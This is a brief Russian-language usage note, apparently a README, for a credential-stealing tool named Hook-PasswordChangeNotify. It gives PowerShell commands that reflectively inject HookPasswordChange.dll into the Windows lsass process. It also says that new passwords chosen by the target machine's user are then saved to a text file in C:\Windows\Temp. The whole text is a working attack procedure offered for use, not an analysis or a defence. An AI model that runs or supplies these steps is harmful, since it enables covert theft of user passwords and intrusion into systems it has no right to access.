Hook-PasswordChangeNotify

1、Выполните следующую команду в powershell:

Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

2、Когда пользователь целевой машины изменяет пароль, новый пароль будет записан в C:\Windows\Temp\passwords.txt